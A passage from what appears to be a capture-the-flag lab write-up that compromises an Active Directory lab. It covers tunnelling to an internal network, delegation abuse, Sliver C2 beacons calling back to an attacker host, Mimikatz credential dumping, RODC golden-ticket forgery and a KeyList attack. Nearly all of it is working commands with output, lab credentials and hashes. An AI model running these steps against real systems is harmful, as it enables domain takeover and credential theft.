PS C:\Users\l.wilson_adm\Documents>
Pivot into the internal network
As we discovered previous an RODC then let’s check if we can join it:
PS C:\Users\l.wilson_adm\Documents> ping rodc01
Pinging RODC01.garfield.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.100.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Let’s put then a Ligolo-mp agent to access to the internal network.
Launch Ligolo-mp server:
$ sudo ./ligolo-mp_linux_amd64
Generate an agent:

Upload our agent to DC01 and launch it:
PS C:\Users\l.wilson_adm\Documents> cd c:\programdata
PS C:\programdata> mkdir 1
PS C:\programdata> cd 1
PS C:\programdata\1> !upload lintun.exe
PS C:\programdata\1> .\lintun.exe
Start the relay and add a static route:

Then now we can join RODC01 from our attacker machine:
$ ping rodc01.garfield.htb
PING RODC01.garfield.htb (192.168.100.2) 56(84) bytes of data.
64 bytes from web01.pirate.htb (192.168.100.2): icmp_seq=1 ttl=64 time=548 ms
64 bytes from web01.pirate.htb (192.168.100.2): icmp_seq=2 ttl=64 time=581 ms
64 bytes from web01.pirate.htb (192.168.100.2): icmp_seq=3 ttl=64 time=421 ms
^C
RODC01
RBCD Exploiting (Administrator)
- RBCD == Resource-Based Constrained Delegation
As we saw previously, we have these attack paths:
- L.WILSON_ADM –> AddSelf –> RODC ADMINISTRATORS
- RODC01$ –> ForceChangePassword –> KRBTGT_8245
- Add
l.wilson_admto the groupRODC Administrators:
- Remotely from our attacker machine:
$ bloodyAD --host garfield.htb -u l.wilson_adm -p 'Azerty123!' \
add groupMember "RODC Administrators" l.wilson_adm
[+] l.wilson_adm added to RODC Administrators
OR
- Locally in our current l.wilson_adm session:
PS C:\Users\l.wilson_adm\Documents> Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
Check if we can login to RODC01:
$ nxc smb rodc01.garfield.htb -u 'l.wilson_adm' -p 'Azerty123!'
SMB 192.168.100.2 445 RODC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:RODC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.100.2 445 RODC01 [+] garfield.htb\l.wilson_adm:Azerty123!
Confirmed
- Create a new computer account:
- Remotely from our attacker machine:
$ impacket-addcomputer garfield.htb/l.wilson_adm:'Azerty123!' \
-computer-name 'RPWN$' -computer-pass 'Qwerty123!' -dc-ip 10.129.xx.xx
OR
$ bloodyAD --host dc01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'Azerty123!' add computer 'RPWN' 'Qwerty123!'
[+] RPWN$ created
Double check:
$ bloodyAD --host dc01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'Azerty123!' get object 'RPWN$'
distinguishedName: CN=RPWN,CN=Computers,DC=garfield,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 1601-01-01 00:00:00+00:00
badPwdCount: 0
cn: RPWN
codePage: 0
countryCode: 0
dNSHostName: RPWN.garfield.htb
dSCorePropagationData: 1601-01-01 00:00:00+00:00
instanceType: 4
isCriticalSystemObject: False
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 1601-01-01 00:00:00+00:00
localPolicyFlags: 0
logonCount: 0
mS-DS-CreatorSID: S-1-5-21-2502726253-3859040611-225969357-3107
nTSecurityDescriptor: O:S-1-5-21-2502726253-3859040611-225969357-512G:S-1-5-21-2502726253-3859040611-225969357-513D:(OA;;WP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967a86-0de6-11d0-...
...
name: RPWN
objectCategory: CN=Computer,CN=Schema,CN=Configuration,DC=garfield,DC=htb
objectClass: top; person; organizationalPerson; user; computer
objectGUID: 440244bc-c823-4cc8-abda-c851358ac3b3
objectSid: S-1-5-21-2502726253-3859040611-225969357-10601
primaryGroupID: 515
pwdLastSet: 2026-04-09 13:08:57.855686+00:00
sAMAccountName: RPWN$
sAMAccountType: 805306369
servicePrincipalName: RestrictedKrbHost/RPWN.garfield.htb; RestrictedKrbHost/RPWN; HOST/RPWN.garfield.htb; HOST/RPWN
OR
- Locally in our current l.wilson_adm session:
PS C:\Users\l.wilson_adm\Documents> New-ADComputer -Name "RPWN" -SamAccountName "RPWN$" -Path "CN=Computers,DC=garfield,DC=htb" -Enabled $True
PS C:\Users\l.wilson_adm\Documents> $password=ConvertTo-SecureString 'Qwerty123!' -AsPlainText -Force; Set-ADAccountPassword -Identity "RPWN$" -NewPassword $password
Double check:
PS C:\Users\l.wilson_adm\Documents> Get-ADObject -Filter * -SearchBase "CN=Computers,DC=garfield,DC=htb"
DistinguishedName Name ObjectClass ObjectGUID
----------------- ---- ----------- ----------
CN=Computers,DC=garfield,DC=htb Computers container 92aee2bb-43d8-46e5-8397-94cf262e4a2d
CN=RPWN,CN=Computers,DC=garfield,DC=htb RPWN computer 440244bc-c823-4cc8-abda-c851358ac3b3
- Add Resource Based Constrained Delegation on RODC01:
- Remotely from our attacker machine:
$ bloodyAD --host dc01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'Azerty123!' add rbcd 'RODC01$' 'RPWN$'
[!] No security descriptor has been returned, a new one will be created
[+] RPWN$ can now impersonate users on RODC01$ via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+pw://garfield.htb\l.wilson_adm:Azerty123%21@dc01.garfield.htb/?serverip=10.129.xx.xx' 'HOST/RODC01$@garfield.htb' 'Administrator@garfield.htb'
OR
- Locally in our current l.wilson_adm session:
PS C:\Users\l.wilson_adm\Documents> Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount RPWN$
PS C:\Users\l.wilson_adm\Documents> Get-ADComputer RODC01 -Properties PrincipalsAllowedToDelegateToAccount
- Get Service Ticket (impersonate Administrator):
$ sudo ntpdate -u dc01.garfield.htb && date
$ impacket-getST garfield.htb/'RPWN$':'Qwerty123!' \
-spn cifs/RODC01.garfield.htb \
-impersonate Administrator \
-dc-ip 10.129.xx.xx
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
- Connect to RODC01 as Administrator:
$ export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
$ klist
Ticket cache: FILE:Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
Default principal: Administrator@garfield.htb
Valid starting Expires Service principal
04/09/2026 22:39:11 04/10/2026 08:39:10 cifs/RODC01.garfield.htb@GARFIELD.HTB
renew until 04/10/2026 22:39:09
$ python3 winrmexec/evil_winrmexec.py 'garfield.htb/administrator@rodc01.garfield.htb' -no-pass -k -dc-ip 192.168.100.2 -target-ip 192.168.100.2
PS C:\Users\Administrator.GARFIELD\Documents>
OR
$ impacket-psexec -k -no-pass \
-dc-ip 192.168.100.2 \
-target-ip 192.168.100.2 \
garfield.htb/Administrator@RODC01.garfield.htb
Quick check our Integrity level and privileges:
PS C:\Users\Administrator.GARFIELD\Documents> whoami
garfield\administrator
PS C:\Users\Administrator.GARFIELD\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
====================== ============================================
garfield\administrator S-1-5-21-2502726253-3859040611-225969357-500
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=============================================== ================ ============================================ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
GARFIELD\Group Policy Creator Owners Group S-1-5-21-2502726253-3859040611-225969357-520 Mandatory group, Enabled by default, Enabled group
GARFIELD\Domain Admins Group S-1-5-21-2502726253-3859040611-225969357-512 Mandatory group, Enabled by default, Enabled group
GARFIELD\Enterprise Admins Group S-1-5-21-2502726253-3859040611-225969357-519 Mandatory group, Enabled by default, Enabled group
GARFIELD\Schema Admins Group S-1-5-21-2502726253-3859040611-225969357-518 Mandatory group, Enabled by default, Enabled group
Service asserted identity Well-known group S-1-18-2 Mandatory group, Enabled by default, Enabled group
GARFIELD\Denied RODC Password Replication Group Alias S-1-5-21-2502726253-3859040611-225969357-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Grab the root flag:
PS C:\Users\Administrator.GARFIELD> cd Desktop
PS C:\Users\Administrator.GARFIELD\Desktop> ls
Failed, no flag is stored :/
RODC Golden Ticket forging (root)
So if the root flag is not on RODC01 then it should be on DC01…
Start Sliver C2 server, create our profile, generate a beacon etc:
$ ./sliver-server_linux-amd64
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain undying
[*] Server v1.7.3 - 3bbaf805104dcc4a75414ee0084e8de50702cad4
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > profiles new beacon -b 10.10.16.xx --os windows --arch amd64 --skip-symbols --format shellcode --shellcode-encoder none --c2profile garfield garfieldc2profile
[*] Saved new implant profile (beacon) garfieldc2profile
[server] sliver > profiles generate garfieldc2profile
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 9s
[*] Implant saved to //Downloads/C2/Sliver/CONSTITUTIONAL_INQUIRY.bin
[server] sliver > implants stage
┃ Select sessions and beacons to expose:
┃ > [•] CONSTITUTIONAL_INQUIRY
*select with the space key*
[server] sliver > implants
Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage
======================== ============== ========== =============== =========== ========================== ======= =========== ======= =======
CONSTITUTIONAL_INQUIRY beacon sliver windows/amd64 SHELLCODE [1] https://10.10.16.xx false garfield 38225 true
[server] sliver > https -L 10.10.16.xx -l 443
[*] Starting HTTPS :443 listener ...
[*] Successfully started job #1
[server] sliver > jobs
ID Name Protocol Port Domains
==== ======= ========== ====== =========
1 https tcp 443
Create our loader:
$ python3 loader_gen.py CONSTITUTIONAL_INQUIRY.bin
[*] Compiling...
[+] Done: loader.exe (19,560,448 bytes)
$ cp loader.exe ../../htb/garfield/loader.exe
$ cd ../../htb/garfield/
But for this box we can simplify:
[server] sliver > profiles new beacon -b 10.10.16.xx --os windows --arch amd64 --skip-symbols --format exe --c2profile garfield2 garfieldc2profile2
[*] Saved new implant profile (beacon) garfieldc2profile2
[server] sliver > profiles generate garfieldc2profile2
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to //Downloads/C2/Sliver/CURIOUS_AREA.exe
[server] sliver > implants stage
┃ Select sessions and beacons to expose:
┃ > [ ] CONSTITUTIONAL_INQUIRY
┃ > [•] CURIOUS_AREA
*select with the space key*
[server] sliver > implants
Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage
======================== ============== ========== =============== ============ ========================== ======= =========== ======= =======
CONSTITUTIONAL_INQUIRY beacon sliver windows/amd64 SHELLCODE [1] https://10.10.16.xx false garfield 38225 false
CURIOUS_AREA beacon sliver windows/amd64 EXECUTABLE [1] https://10.10.16.xx false garfield2 62037 true
[server] sliver > jobs
ID Name Protocol Port Domains
==== ======= ========== ====== =========
1 https tcp 443
Let’s upload it, launch it and dump all hashes and secrets:
PS C:\Users\Administrator.GARFIELD\Documents> cd c:\programdata
PS C:\programdata> mkdir 1
PS C:\programdata> cd 1
PS C:\programdata\1> !upload CURIOUS_AREA.exe
PS C:\programdata\1> .\CURIOUS_AREA.exe
Got an Administrator’s beacon:
[*] Beacon 23bccf54 CURIOUS_AREA - 10.129.xx.xx:49810 (RODC01) - windows/amd64 - Sat, 11 Apr 2026 20:37:58 JST
[server] sliver > use 23bccf54
[*] Active beacon CURIOUS_AREA (23bccf54-da2a-4181-a0f1-9459410d8195)
[server] sliver (CURIOUS_AREA) > whoami
Logon ID: GARFIELD\Administrator
[*] Tasked beacon CURIOUS_AREA (7b709779)
Switch to interactive mode (aka session):
[server] sliver (CURIOUS_AREA) > interactive
[*] Using beacon's active C2 endpoint: https://10.10.16.xx
[*] Tasked beacon CURIOUS_AREA (0fa3d9c3)
[*] Session 0f4798c1 CURIOUS_AREA - 10.129.xx.xx:49837 (RODC01) - windows/amd64 - Sat, 11 Apr 2026 20:44:26 JST
[server] sliver (CURIOUS_AREA) > use 0f4798c1
[*] Active session CURIOUS_AREA (0f4798c1-7361-4cdc-a0ef-a2a2d9b0a928)
[server] sliver (CURIOUS_AREA) >
Install all Assemblies and Bofs:
[server] sliver (CURIOUS_AREA) > armory install all
- Get
NT AUTHORITY\SYSTEM:
Escalate to SYSTEM:
[server] sliver (CURIOUS_AREA) > getsystem
[*] A new SYSTEM session should pop soon...
[*] Session 097b0d55 CURIOUS_AREA - 10.129.xx.xx:49868 (RODC01) - windows/amd64 - Sat, 11 Apr 2026 20:57:14 JST
[server] sliver (CURIOUS_AREA) > use 097b0d55
[*] Active session CURIOUS_AREA (097b0d55-ed86-437b-ab9e-f8a5a046ba23)
[server] sliver (CURIOUS_AREA) > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ===================== ========== ======================== ================== =========
097b0d55 http(s) 10.129.xx.xx:49868 RODC01 GARFIELD\RODC01$ windows/amd64 [ALIVE]
0f4798c1 http(s) 10.129.xx.xx:49837 RODC01 GARFIELD\Administrator windows/amd64 [ALIVE]
[server] sliver (CURIOUS_AREA) > whoami
Logon ID: GARFIELD\RODC01$
[*] Current Token ID: NT AUTHORITY\SYSTEM
We can also have directly a System session using psexec from Impacket first:
$ impacket-psexec 'garfield.htb/administrator@rodc01.garfield.htb' -no-pass -k -dc-ip 192.168.100.2 -target-ip 192.168.100.2
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> cd c:\programdata\1
c:\ProgramData\1> .\CURIOUS_AREA.exe
- Dump the krbtgt_8245 AES256 Key:
As NT AUTHORITY\SYSTEM on RODC01 we can extract the krbtgt_8245 AES key from LSA via the embedded Mimikatz:
[server] sliver (CURIOUS_AREA) > mimikatz "privilege::debug" "\"lsadump::lsa /inject /name:krbtgt_8245\""
[*] Successfully executed mimikatz
[*] Got output:
.#####. mimikatz 2.2.0 (x64) #19041 May 17 2024 22:19:06
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # lsadump::lsa /inject /name:krbtgt_8245
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357
RID : 00000643 (1603)
User : krbtgt_8245
* Primary
NTLM : 445aa4221e751da37a10241d962780e2
LM :
Hash NTLM: 445aa4221e751da37a10241d962780e2
ntlm- 0: 445aa4221e751da37a10241d962780e2
lm - 0: 0ab3d34a182bb016fc4cfd26544a9f16
* WDigest
01 6d31d1f92ef6d85f5517944f98bf5753
02 8c46bd5ddc680291e70800990dbc02e3
03 9ffbc24f29b9bb3df3c32b76631ff874
04 6d31d1f92ef6d85f5517944f98bf5753
05 8c46bd5ddc680291e70800990dbc02e3
06 8fc97c500bf9c7c4a0d34a497f9c5245
07 6d31d1f92ef6d85f5517944f98bf5753
08 c4bac61b7ecb407d358f836d2f4e19c6
09 c4bac61b7ecb407d358f836d2f4e19c6
10 d8938c80e1e0c80a2ec1d8b06f42cb31
11 67f002aa49f4400fa970a53e294f4bee
12 c4bac61b7ecb407d358f836d2f4e19c6
13 56062e2db43bc0069deb86de87509ca6
14 67f002aa49f4400fa970a53e294f4bee
15 7250fcfc09d9cb93345c0c1393e19e52
16 7250fcfc09d9cb93345c0c1393e19e52
17 04b30cd8b5381d4b8458b0c996503a91
18 b48bda9ef98982d5ee33766a74880e01
19 bb365cf4f0bcdadf35b6a9b04c58257b
20 85addbd6d603cca1b500f2da02b205d0
21 b6186618611e202aae4141716e6603f5
22 b6186618611e202aae4141716e6603f5
23 f3f6c9408db132bf8e59413b7b40bb16
24 0acf88cc5cb3b35888708ebefe658b6f
25 0acf88cc5cb3b35888708ebefe658b6f
26 08b8941632a5017e7178a3761dfaf7fb
27 c1b2fd89d0dafb5f9e18147042bdc433
28 712f0b6ed3b7eb7f6f135a1e298c4e09
29 bf8d51270f7f657079bb9744446d70cb
* Kerberos
Default Salt : GARFIELD.HTBkrbtgt_8245
Credentials
des_cbc_md5 : d540fe6192b9ecfe
* Kerberos-Newer-Keys
Default Salt : GARFIELD.HTBkrbtgt_8245
Default Iterations : 4096
Credentials
aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
aes128_hmac (4096) : 124c0fd09f5fa4efca8d9f1da91369e5
des_cbc_md5 (4096) : d540fe6192b9ecfe
* NTLM-Strong-NTOWF
Random Value : f4b51c2c0d006172304e31dbc6e0de6b
- The RODC uses this key to sign Kerberos tickets, we need the elements below to be able to forge a RODC Golden Ticket:
- aes256_hmac = d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
- rodcNumber = 8245
- Domain SID = S-1-5-21-2502726253-3859040611-225969357
- Modify the RODC Replication Policy:
A RODC Golden Ticket can only be exchanged for a real service ticket for accounts that are in msDS-RevealOnDemandGroup and not blocked by msDS-NeverRevealGroup.
By default, Administrator is not in the allowed group, then add them and clear the deny list before the KeyList attack is required.
- Get original
msDS-RevealOnDemandGroupvalues:
$ bloodyAD --host dc01.garfield.htb -u l.wilson_adm -p 'Azerty123!' get object RODC01$ --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
- Get original
msDS-NeverRevealGroupvalues:
$ bloodyAD --host dc01.garfield.htb -u l.wilson_adm -p 'Azerty123!' get object RODC01$ --attr msDS-NeverRevealGroup
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Account Operators,CN=Builtin,DC=garfield,DC=htb; CN=Server Operators,CN=Builtin,DC=garfield,DC=htb; CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb; CN=Administrators,CN=Builtin,DC=garfield,DC=htb
- Add the previous value of
msDS-RevealOnDemandGroup+ the Administrator account:
$ bloodyAD --host dc01.garfield.htb -u l.wilson_adm -p 'Azerty123!' set object RODC01$ msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
[+] RODC01$'s msDS-RevealOnDemandGroup has been updated
Double check:
$ bloodyAD --host dc01.garfield.htb -u l.wilson_adm -p 'Azerty123!' get object RODC01$ --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Administrator,CN=Users,DC=garfield,DC=htb
OK
- Add the previous value of
msDS-NeverRevealGroup- the Administrators group:
$ bloodyAD --host dc01.garfield.htb -u l.wilson_adm -p 'Azerty123!' set object RODC01$ msDS-NeverRevealGroup -v 'CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' -v 'CN=Account Operators,CN=Builtin,DC=garfield,DC=htb' -v 'CN=Server Operators,CN=Builtin,DC=garfield,DC=htb' -v 'CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb'
[+] RODC01$'s msDS-NeverRevealGroup has been updated
Double check:
$ bloodyAD --host dc01.garfield.htb -u l.wilson_adm -p 'Azerty123!' get object RODC01$ --attr msDS-NeverRevealGroup
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Account Operators,CN=Builtin,DC=garfield,DC=htb; CN=Server Operators,CN=Builtin,DC=garfield,DC=htb; CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
OK
If we want to clean up totally then:
$ bloodyAD --host dc01.garfield.htb -u l.wilson_adm -p 'Azerty123!' set object RODC01$ msDS-NeverRevealGroup -v ''
- Forge RODC Golden Ticket:
We forge a TGT appearing to come from RODC01 using the krbtgt_8245 AES key, then present it to DC01 via a KeyList request.
DC01 validates the RODC-signed TGT, check and confirmed that Administrator is now in the allowed replication group, and issues a real TGS (domain admin via ticket exchange).
[server] sliver (CURIOUS_AREA) > rubeus golden /rodcNumber:8245 /user:Administrator /domain:garfield.htb /id:500 /sid:S-1-5-21-2502726253-3859040611-225969357 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /flags:forwardable,renewable,enc_pa_rep /nowrap /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Build TGT
[*] Building PAC
[*] Domain : GARFIELD.HTB (GARFIELD)
[*] SID : S-1-5-21-2502726253-3859040611-225969357
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : garfield.htb
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@garfield.htb'
[*] AuthTime : 4/11/2026 6:57:12 AM
[*] StartTime : 4/11/2026 6:57:12 AM
[*] EndTime : 4/11/2026 4:57:12 PM
[*] RenewTill : 4/18/2026 6:57:12 AM
[*] base64(ticket.kirbi):
doIFkjCCBY6gAwIBBaEDAgEWooIEfzCCBHthggR3MIIEc6ADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMZ2FyZmllbGQuaHRio4IENzCCBDOgAwIBEqEGAgQgNQAAooIEIgSCBB50LObc5jT5Hsu8YP2R0Lk8ODBxPPYmTE2bdYXicLFiuJ5J8xDnXK4VQOdTj4RoeN8/NSunErNBCCnPRfv5moNft1dgXP4K/wmwQvwAObzOzjZ113ZBTmElf/YLc7ZSkshnj51Ki8jnhmymEbEezaUcjRb/qDX7VtiePtPss/Zm5BC0gbYvJoTWDyKr9quCIjwZ+Q0RLrJ8pHBzT7GIfD6uUZiro6iCSokSlVliZ4akx4X806wVIuJI5e32qehctm/M0f4Luykts9GvFurumtRbemjALORQwGwq04kKq/anHkq4llpGVJGzJaMsqd4jgNKRU9Q1PIECHBk7poeR85ad7BMC3CPk/+EDbI6gSpG8E1IQCbZg9nLMRzjHuwL4F83oUgIpDNDoOF+pgnwy9mQY99gaToYHABLNnYKQBA8oqp8xmqZplrDEAL7Wx8hmBEizsr//5J3GnlVoUIgNrsPLo3bHftqOzIsqVHF8K7dLavF2TTeHq2tfP8HUxTYzu+y+edpNnfSHfSaRdnxMj6+5ivzXt67XJYiq+p/2OA4DHW/WN87krckarbJ3sj4xlK1GKEw1eVHLQi0HqUKsgo24aD2YKnEGfC9iXqcblbhrO0pvc2udK0qNqR+aUFcr+fh/fh6UYRdu9awhUplh3c7NcwHG8y44Rbwcz+vqKMNnuHUt1IFpChSTtRJ94PEsz3j5HC2534kkpb493ooVSnu45+BdioFpe31iw/Li1eoyKmBbfIYF9nXmpIG8/CnhhzBcJGoAv4Pm4+rXZodm0s99wcnIO6Dyed+L8nK/f23iAU9pnAVtGfT+LPqUU+AUfw1fDg27nskK0vB41/UnaotSi2hNer5qExjaIFUzriBD340crcjTlbJydHzwQsw8RKGnBqIlUIYoZLx8PZUm+JzlTRRnR32N/Wf8Zh3d2rfz4T4tlwnhQn5oh4PWm2vS/MN/NymwrUSZ2BJgq/bfeHdzfHZJEhcPX/QW8QZANhL472wwXPesvMy6RVxAsKcbNPZmfovyWT9FYgvJ1FlJof7NNKbgwfuMlKyfaEEIognbiFearc8lVmASOn8GFIqog72TWTk3EB52WHThFY4PhmYA8no/+Lx0KpzOGgFV5hbLe/6FbQHusilUhGoCSJehdejlv1uS8MYhOOFol9kvvmGjHK6XYUSG+OdmDAimCgA0mYAU5DZi8MGmJ1mixpDw3zKWkY6zvDXWMKATfbgVp1mMKRGKf1OMPV+zdm+v7k2s/fIAH3Z/RzR0ttI64mXI6ZSnUDTFwtDpN2xsHeZy9uy5Vx9htk9X3HF57ATrtnL3f9b3IzrKegncIK7WKctCOxjg6fteyzKEYuCiSRFm0Jt3QWj6EVsWPa406m+pvRRvhcDILG3EfTCCnO2lBfFTo4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecwgeQwgeGgKzApoAMCARKhIgQgX3HPuoZISxNic09xOvbhZU87Un7zP3oCToReo3JArKOhDhsMR0FSRklFTEQuSFRCohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQIEAAKQRGA8yMDI2MDQxMTEzNTcxMlqlERgPMjAyNjA0MTExMzU3MTJaphEYDzIwMjYwNDExMjM1NzEyWqcRGA8yMDI2MDQxODEzNTcxMlqoDhsMR0FSRklFTEQuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=
[+] Ticket successfully imported!
Because the is a limitation in the Sliver armory Rubeus then we copy the base64 output to ticket.b64 then convert to a .kirbi ticket:
$ cat ticket.b64 | base64 -d > ticket.kirbi
Then upload to Sliver session:
[server] sliver (CURIOUS_AREA) > upload /Downloads/htb/garfield/ticket.kirbi
[*] Wrote 1 file successfully to C:\programdata\1\ticket.kirbi
- KeyList Attack:
[server] sliver (CURIOUS_AREA) > rubeus asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb /dc:DC01.garfield.htb /ticket:ticket_2026_04_11_15_46_09_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Ask TGS
[*] Requesting 'aes256_cts_hmac_sha1' etype for the service ticket
[*] Building KeyList TGS-REQ request for: 'Administrator'
[*] Using domain controller: DC01.garfield.htb (192.168.100.1)
[+] TGS request successful!
[*] base64(ticket.kirbi):
